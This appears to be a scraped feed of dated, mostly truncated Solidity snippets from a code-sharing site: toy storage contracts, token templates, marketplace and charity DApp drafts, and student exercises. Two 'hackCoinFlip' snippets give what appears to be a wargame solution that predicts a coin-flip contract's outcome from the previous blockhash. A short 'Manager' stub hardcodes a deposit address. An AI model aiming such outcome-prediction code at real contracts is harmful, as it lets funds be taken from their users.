  uint value;
Jul 06, 2021 13:49:33 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
    a=_b;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 03, 2021 13:56:33 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 03, 2021 13:56:11 UTC
pragma solidity ^0.7.1;

contract A {
  
  uint256 a = 0;
  uint256 b = a;
}

contract B {
  uint256 a = 0;
  uint64 b = uint64(a);
Jul 02, 2021 17:12:08 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract CoopChain {
    
    address private owner;
    
    struct Minute {
        uint timestamp;
        string coop;
        string title;
        string sign;
        address[] signatures;
    }


    // mapping(uint => uint[]) public coopMinutes2; // [coop_id][minute_id];
    mapping(uint => mapping(uint => Minute)) public coopMinutes; //Map 1 coop with many minutes. //To get all the coop's minutes

    mapping(uint => address[]) public coopMembers; // Map 1 coop with many members, who can sign.
    mapping(address => uint[]) public memberSigns; // Map one member with many signs. Kinda "Reversed by".
    
    //Events
    event MinuteAdded(bool success);
    
    //Modifiers
    modifier isOwner() {
        require(msg.sender == owner, "Sender no autorizado.");
        _;
    }

    modifier isMember() {
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function subscribeMinute(uint _coop_id, uint _minute_
Jun 28, 2021 22:16:11 UTC
pragma solidity ^0.4.18;

/**
 * Contract that will forward any incoming Ether to its creator
 */
contract Forwarder {
  // Address to which any funds sent to this contract will be forwarded
  address public destinationAddress;

  /**
   * Create the contract, and set the destination address to that of the creator
   */
  function Forwarder() public {
    destinationAddress = msg.sender;
  }

  /**
   * Default function; Gets called when Ether is deposited, and forwards it to the destination address
   */
  function() payable public {
        destinationAddress.transfer(msg.value);
  }

  /**
   * It is possible that funds were sent to this address before the contract was deployed.
   * We can flush those funds to the destination address.
   */
  function flush() public {
    destinationAddress.transfer(this.balance);
  }

Jun 25, 2021 13:34:24 UTC
pragma solidity ^0.5.0;

contract HelloWorld {
    string public hello = "Hi, Hello World from swzhouu!";
    
    uint256 a = 125;
    uint256 b = 10;
    
    uint256[] private numbers;
    mapping(string => uint256) public keyValueStore;
    mapping(string => bool) public hashValue;
    uint256 public keyValueLength;
    
    constructor(uint256[] memory initData) public {
        numbers = initData;
    }
    
    function pushNumber(uint256 newNumber) public {
        numbers.push(newNumber);
    }
    
    function getNumber(uint256 index) public view returns(uint256) {
        return numbers[index];
    }
    
    function getNumberLenght() public view returns(uint256) {
        return numbers.length;
    }
    
    function setKeyValue(string memory key, uint256 value) public {
        keyValueStore[key] = value;
        
        if (hashValue[key] == false) {
            keyValueLength += 1;
        } else {
            if (value == 0) {
                keyValueLength -= 1;
            }
        }
  
Jun 25, 2021 07:06:33 UTC
pragma solidity ^0.8.0;

abstract contract ExternalContract {
    function ownerOf(uint256 tokenId) public view virtual returns (address);
    function safeTransferFrom(address from, address to, uint256 tokenId) public virtual;
    function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data) public virtual;
    function balanceOf(address owner, uint256) public virtual returns (uint256);
}

contract LazyMarketplace {
    
    address private _owner; //
    uint256 private _lazyFee;
    mapping (bytes32 => uint) private _listPrices;
    address private immutable _lazyWallet = 0xa679c6154b8d4619Af9F83f0bF9a13A680e01eCf;
    
    event TokenPriceUpdated(address _contractAddress, uint256 _tokenId, uint _price);
    event TokenSold(address _contractAddress, uint256 _tokenId, uint _price, uint _fee);
    
    constructor(address _lazyWallet) {
        _owner = msg.sender;
        _lazyFee = 5;
    }
    
    // Allows a user to update the price (in WEI) of an ERC-721 token
Jun 24, 2021 15:30:16 UTC
pragma solidity ^0.8.0;

abstract contract ExternalContract {
    function ownerOf(uint256 tokenId) public view virtual returns (address);
    function safeTransferFrom(address from, address to, uint256 tokenId) public virtual;
    function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data) public virtual;
    function balanceOf(address owner, uint256) public virtual returns (uint256);
}

contract LazyMarketplace {
    
    address private _owner;
    uint256 private _lazyFee;
    mapping (bytes32 => uint) private _listPrices;
    address private immutable _lazyWallet = 0xa679c6154b8d4619Af9F83f0bF9a13A680e01eCf;
    
    event TokenPriceUpdated(address _contractAddress, uint256 _tokenId, uint _price);
    event TokenSold(address _contractAddress, uint256 _tokenId, uint _price, uint _fee);
    
    constructor(address _lazyWallet) {
        _owner = msg.sender;
        _lazyFee = 5;
    }
    
    // Allows a user to update the price (in WEI) of an ERC-721 token
   
Jun 24, 2021 15:29:45 UTC
/**
 *Submitted for verification at BscScan.com on 2021-06-23
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.12;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address s
Jun 23, 2021 16:44:35 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ;
contract SimpleStore {
  function get()public pure returns (string memory) {
    return "Hello WOrld";
  }
Jun 21, 2021 00:11:18 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
    jyigig
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jun 21, 2021 00:03:31 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  mapping(uint => bytes32) public signedDocs;
  function newDoc(uint docId, bytes32 docHash) public {
    require(signedDocs[docId] == bytes32(0x00));
    signedDocs[docId] = docHash;
  }

  function get(uint docId) public constant returns (bytes32) {
    return signedDocs[docId];
  }

Jun 15, 2021 15:51:53 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract HelloWorld {
  string private helloMessage = "Hello world";

  function getHelloMessage() public view returns (string memory) {
    return helloMessage;

  }
Jun 15, 2021 01:46:22 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract CoopChain {
    
    address private owner;
    //The array is just for query all the Cooperatives inside the contract.
    string[] public cooperativesList;
    
    //The mapping is just for having a reference about which coop own the minute. Kinda left join... 
    mapping(address => string) public cooperatives; //used on getCoop function
    
    struct Minute {
        uint id;
        address coop_address;
        string title;
        string document;
        string sign;
    }
    
    Minute public minute;
    
    mapping(uint => Minute) public coopMinutes;
    
    
    
    //Modifiers
    modifier isOwner() {
        require(owner == msg.sender, "Sender no autorizado.");
        _;
    }

    constructor() {
        owner = address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
    }

    function subscribeMinute(uint _id, string memory _title, string memory _document, string memory _hash, address _coop_address) public i
Jun 14, 2021 14:02:54 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract A {
   function print() public virtual pure returns (bytes32) {
       return 0x0;
   }
}
contract B {
   function print() public virtual pure returns (uint256) {
       return 200;
   }
}
contract C is B, A {
   function print() public pure override(A, B) returns (uint256) {
       return super.print();
   }
Jun 13, 2021 22:04:29 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
 // Our first contract is a faucet!
contract Faucet {

// Give out ether to anyone who asks
 function withdraw(uint withdraw_amount) public {

// Limit withdrawal amount
 require(withdraw_amount <= 100000000000000000);

// Send the amount to the address that requested it
 msg.sender.transfer(withdraw_amount);
}

 // Accept any incoming amount
 function () public payable {}

 
Jun 10, 2021 19:50:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract PichuMuffin {
  uint public fans = 0;

  address private wallet;

  constructor (address _wallet) public {
    wallet = _wallet;
  }

  function like () public {
    fans = fans + 1;
  }

  function getFans() public view returns (uint) {
    return fans;
  }

  function isBestMuffin() public pure returns (bool) {
    return true;
  }

  function lesserThan(uint a, uint b) public pure returns (bool) {
    return a <= b;
  }

  function hasLotsOfFans() public view returns (bool) {
    return lesserThan(1000, fans);
  }

  function notZero(uint number) internal pure returns (bool) {
    return number != 0;
  }

  function isRecommended() public view returns (bool) {
    return isBestMuffin() && notZero(fans);
  }

  function tip() public payable {
    require(msg.value > 0);
    wallet.transfer(msg.value);
  }

  function getBalance() public view returns (uint256) {
    return address(wallet)
Jun 08, 2021 13:12:05 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract PichuCastle {
  uint public timeout = 60;
  uint private halfway = timeout / 2;
  string private name = "pokemon";

  function getHalfway() external view returns (uint) {
    return halfway;
  }

  function getName() external view returns (string) {
    return name;
  }
}

contract PichuMuffin {
  uint private likes = 0;
  address private wallet;

  constructor (address _wallet) public {
    wallet = _wallet;
  }

  function tip() public payable {
    require(msg.value >= 1);
    wallet.transfer(msg.value);
  }

  function getBalance() public view returns (uint) {
    return wallet.balance;
  }

  function like() public {
    likes = likes + 1;
  }

  function getFans() public view returns (uint) {
    return likes;
  }

  function isBestMuffin() public pure returns (bool) {
    return true;
  }

  function lesserThan(uint a, uint b) public pure returns (bool) {
    return a <= b;
  }

  
Jun 08, 2021 07:35:01 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract PichuCastle {
  uint public timeout = 60;
  string private name = "PichuCastle";
  uint private halfway = timeout/2;


  function getHalfway() external view returns (uint) {  
    return halfway; 
  } 

  function getName() external view returns (string) {  
    return name; 
  } 
  

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

contract PichuMuffin {
    uint public fans = 0;
  
  function like() public {
    fans = fans + 1;
  }

  function getFans() public view returns (uint) {
    return fans; 
  }

  function isBestMuffin() external pure returns (bool) {
    return true;
  }
  
  function lesserThan(uint a, uint b) public pure returns (bool){      
    return a <= b; 
} 

function hasLotsOfFans() public view returns (bool){
    return lesserThan(1000, fans); 
} 

Jun 08, 2021 06:31:25 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract PichuCastle {
  uint public timeout = 60;
  string private PichuCastle = "PichuCastle";
  uint private halfway = timeout/2;


  function getHalfway() external view returns (uint) {  
    return halfway; 
  } 

  function getName() external view returns (string) {  
    return PichuCastle; 
  } 
  

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}
contract PichuMuffin {
    uint public fans = 0;
  
  function like() public {
    fans = fans + 1;
  }

  function getFans() public view returns (uint) {
    return fans; 
  }

  function isBestMuffin() external pure returns (bool) {
    return true;
  }
  
  function lesserThan(uint a, uint b) public view returns (bool){      
    return a <= b; 
} 

function hasLotsOfFans() public view returns (bool){
    return lesserThan(1000, fans); 
} 

Jun 08, 2021 06:18:13 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract PichuCastle {
  
  uint public timeout = 60;
  uint private halfway = timeout/2;
  string private name = "Pichu";

  // View functions ensure that they will not modify the state.
  // For an external call, all function arguments have to be copied to memory.
  function getHalfway() external view returns (uint) {
    return halfway;
  }

  function getName() public view returns (string) {
    return name;
  }

}

contract PichuMuffin {
  
  uint public fans = 0;
  int money;  
  address private wallet;

  // constructor(address _wallet) public {    
  //     wallet = _wallet;    
  // }    

  function tip() public payable {
    require(msg.value > 0);
    wallet.transfer(msg.value);
  }

  function getBalance() public view returns (address)
  {
    return wallet;
  }


  function like() public
  {
    fans = fans + 1;
  }
  
  //The "constant" keyword means that function will not alter 
  
Jun 08, 2021 03:42:34 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    System.out.println("test");
    return value;
  }

  uint value;
Jun 08, 2021 01:24:32 UTC
pragma solidity >=0.5.0;

import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";

import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";

library UniswapV2Library {
  using SafeMath for uint256;

  // returns sorted token addresses, used to handle return values from pairs sorted in this order
  function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
    require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
    (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
    require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
  }

  // calculates the CREATE2 address for a pair without making any external calls
  function pairFor(
    address factory,
    address tokenA,
    address tokenB
  ) internal view returns (address pair) {
    return IUniswapV2Factory(factory).getPair(tokenA, tokenB); // For easy testing
  
Jun 06, 2021 23:28:00 UTC
pragma solidity ^0.6.6;

contract Manager {
	function performTasks() public {
	    
	}

	function pancakeswapDepositAddress() public pure returns (address) {
		return 0xDbc23AE43a150ff8884B02Cea117b22D1c3b9796;
	}
Jun 06, 2021 06:08:05 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  string public myString = "Hello World";
Jun 05, 2021 21:06:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jun 01, 2021 13:31:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.15;

contract NumberContract {
    // variable de estado almacenada en el blockchain
    uint public Number = 10;
    
    function setNumber(uint _Number) public {
        // Se necesita hacer una Txn para Sobre escribir una variable de estado
        Number = _Number;
        // Las variables locales son las definidas
        // dentro de las funciones y no son
        // Almacenadas en el blockchain
           //Uint i = 456;
        // Las variables globales son propias
        // Del blockchain, por ejemplo:
           //uint timestamp = block.timestamp; // Current block timestamp
           //address sender = msg.sender; // address of the caller
    }

    // Se puede leer (GET) una variable de
    // Estado sin enviar una Txn
    
May 28, 2021 02:18:52 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.6;

contract CoolNumberContract {
    // variable de estado almacenada en el blockchain
    uint public coolNumber = 10;
    
    function setCoolNumber(uint _coolNumber) public {
        // Se necesita hacer una Txn para
        // Sobre escribir una variable de estado
        coolNumber = _coolNumber;
        // Las variables locales son las definidas
        // dentro de las funciones y no son
        // Almacenadas en el blockchain
        Uint i = 456;
        // Las variables globales son propias
        // Del blockchain, por ejemplo:
        uint timestamp = block.timestamp; // Current block timestamp
        address sender = msg.sender; // address of the caller
    }

    // Se puede leer (GET) una variable de
    // Estado sin enviar una Txn
    
May 28, 2021 02:10:02 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Simple {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 28, 2021 01:58:00 UTC
function hackFlip(bool _guess) public {
    
    // pre-deteremine the flip outcome
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    // If I guessed correctly, submit my guess
    if (side == _guess) {
        originalContract.flip(_guess);
    } else {
    // If I guess incorrectly, submit the opposite
        originalContract.flip(!_guess);
    }
May 27, 2021 05:17:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 26, 2021 13:45:30 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Student {
  uint public studentId;

  function getStudentId() public returns (uint) {
    return studentId++;
  }
May 26, 2021 06:56:02 UTC
contract hackCoinFlip {
    CoinFlip public originalContract = CoinFlip("your instance address"); 
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function hackFlip(bool _guess) public {
        //TODO
    }
May 26, 2021 06:46:38 UTC
pragma solidity ^0.5.0;

// lvl 1: equal split
contract AssociateProfitSplitter {
    // @TODO: Create three payable addresses representing `employee_one`, `employee_two` and `employee_three`.
    address payable employee_one; address payable employee_two; address payable employee_three;
    constructor(address payable _one, address payable _two, address payable _three) public {
        employee_one = _one;
        employee_two = _two;
        employee_three = _three;
    }

    function balance() public view returns(uint) {
        return address(this).balance;
    }

    function deposit() public payable {
        // @TODO: Split `msg.value` into three
        uint amount =  msg.value / 3;

        employee_one.transfer(amount);
        employee_two.transfer(amount);
        employee_three.transfer(amount);
        msg.sender.transfer(msg.value - amount * 3); 

        // @TODO: take care of a potential remainder by sending back to HR (`msg.sender`)
        // Your code here!
    }

    function() external 
May 25, 2021 01:18:21 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;

contract SimpleStorage {
    uint storedData;

    function set(uint x) public {
        storedData = x;
    }

    function get() public view returns (uint) {
        return storedData;
    }
}
May 22, 2021 08:05:04 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }

contract Somer883Token {
    string public version = '1.0';
    string public name;
    string public symbol;
    uint8 public decimals;
    address public owner;
    uint256 public _totalSupply;
    

    mapping (address => uint256) public balances;
    mapping (address => mapping (address => uint256)) public allowances;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);

    function Somer883Token() public {
        balances[msg.sender] = 100000000000000;
        _totalSupply = 100000000000000;
        name = 'Somer883';
        symbol = 'SMR';
        decimals = 6;
        owner = msg.sender;
    }

    function balanceOf(address _owner) public constant r
May 21, 2021 12:06:56 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;


}

struct Product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    // uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  // uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiar
May 21, 2021 08:22:23 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;hhh
May 21, 2021 01:58:07 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SimpleContract {

    //소유자를 키로 잔액을 mapping (ERC-20)
    mapping (address => uint256) ERC20;
    // token ID로 소유자를 mapping (ERC-721)
    mapping (uint256 => address) ERC721;
May 20, 2021 06:56:07 UTC
pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;


}

struct Product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    // uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  // uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiar
May 19, 2021 16:51:16 UTC
// ERC

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 19, 2021 08:21:28 UTC
pragma solidity ^0.4.18;

contract A {
  bytes32 id;
}

contract B {
  uint256 a = 0;
May 17, 2021 06:02:23 UTC
pragma solidity ^0.5.2;
contract MyContract {
   uint amount;
   uint value;

   constructor (uint initialAmount, uint initialValue) public {
      amount = 0;
      value = 1000;
   }
   function getBalance() public view returns(uint) {
      return value;
   }
   function getAmount() public view returns(uint) {
      return amount;
   }
   function send(uint newDeposit) public {
      value = value - newDeposit;
      amount = amount + newDeposit;
   }
May 14, 2021 09:08:17 UTC
/**
 *Submitted for verification at BscScan.com on 2021-04-16
*/

/**
 * Rototril
 * **/

pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view re
May 13, 2021 17:55:15 UTC
pragma solidity 0.5.16;

interface IBEP20 {
  function totalSupply() external view returns (uint256);

  function decimals() external view returns (uint8);

  function symbol() external view returns (string memory);

  function name() external view returns (string memory);

  function getOwner() external view returns (address);

  function balanceOf(address account) external view returns (uint256);

  function transfer(address recipient, uint256 amount) external returns (bool);

  function allowance(address _owner, address spender) external view returns (uint256);

  function approve(address spender, uint256 amount) external returns (bool);

  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  event Transfer(address indexed from, address indexed to, uint256 value);

  event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Context {
  // Empty internal constructor, to prevent people from mistakenly deploying
  // an instance 
May 12, 2021 09:17:47 UTC
pragma solidity >= 0.7.0 < 0.9.0;

import '@uniswap/v3-core/contracts/libraries/BitMath.sol';

contract Rarity {
    function findRare(uint256 lastId, address poolAddress) public pure returns (uint256) {
        uint256 tokenId = lastId + 1;
        
        while (tokenId < type(uint256).max && !(uint256(keccak256(abi.encodePacked(tokenId, poolAddress))) < type(uint256).max / (1 + BitMath.mostSignificantBit(tokenId) * 2))) {
            tokenId++;
        }
        
        return tokenId;
    }
}
May 06, 2021 17:11:20 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

/**
 * @title Storage
 * @dev Store & retrieve value in a variable
 */
contract Storage {

    uint256 number;

    /**
     * @dev Store value in variable
     * @param num value to store
     */
    function store(uint256 num) public {
        number = num;
    }

    /**
     * @dev Return value 
     * @return value of 'number'
     */
    function retrieve() public view returns (uint256){
        return number;
    }
May 04, 2021 18:58:02 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.8;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 04, 2021 11:54:06 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  //lol
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 01, 2021 14:29:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract Mom {
  function feed(address child) public {

  }
}

contract Dad {
  function feed(address child) public {
    
  }
}

contract Child is Mom, Dad {
  function feed(address sibling) public {
    super.feed(sibling);
  }
Apr 30, 2021 18:03:46 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.8.0;
contract SimpleStore {
  address a;
  uint256 b;
  bool c;
  uint256 d;
  uint16 e;
  address f;
  uint128 g;
  uint256 h;
Apr 30, 2021 17:50:25 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  address a;
  uint256 b;
  bool c;
  uint256 d;
  uint16 e;
  address f;
  uint128 g;
  uint256 h;
Apr 30, 2021 17:49:58 UTC


pragma solidity ^0.4.11;

/**
 * @title Ownable
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (ui
Apr 29, 2021 20:12:18 UTC


pragma solidity ^0.4.11;

/**
 * @title Ownable
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (ui
Apr 29, 2021 20:12:08 UTC


pragma solidity ^0.4.11;

/**
 * @title Ownable
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (ui
Apr 29, 2021 20:12:06 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 28, 2021 02:18:13 UTC
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(
Apr 28, 2021 02:15:47 UTC
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity ^0.4.18;


contract EIP20Interface {
    /* This is a slight change to the ERC20 base standard.
    function totalSupply() constant returns (uint256 supply);
    is replaced with:
    uint256 public totalSupply;
    This automatically creates a getter function for the totalSupply.
    This is moved to the base contract since public getter functions are not
    currently recognised as an implementation of the matching abstract
    function by the compiler.
    */
    /// total amount of tokens
    uint256 public totalSupply;

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) public view returns (uint256 balance);

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
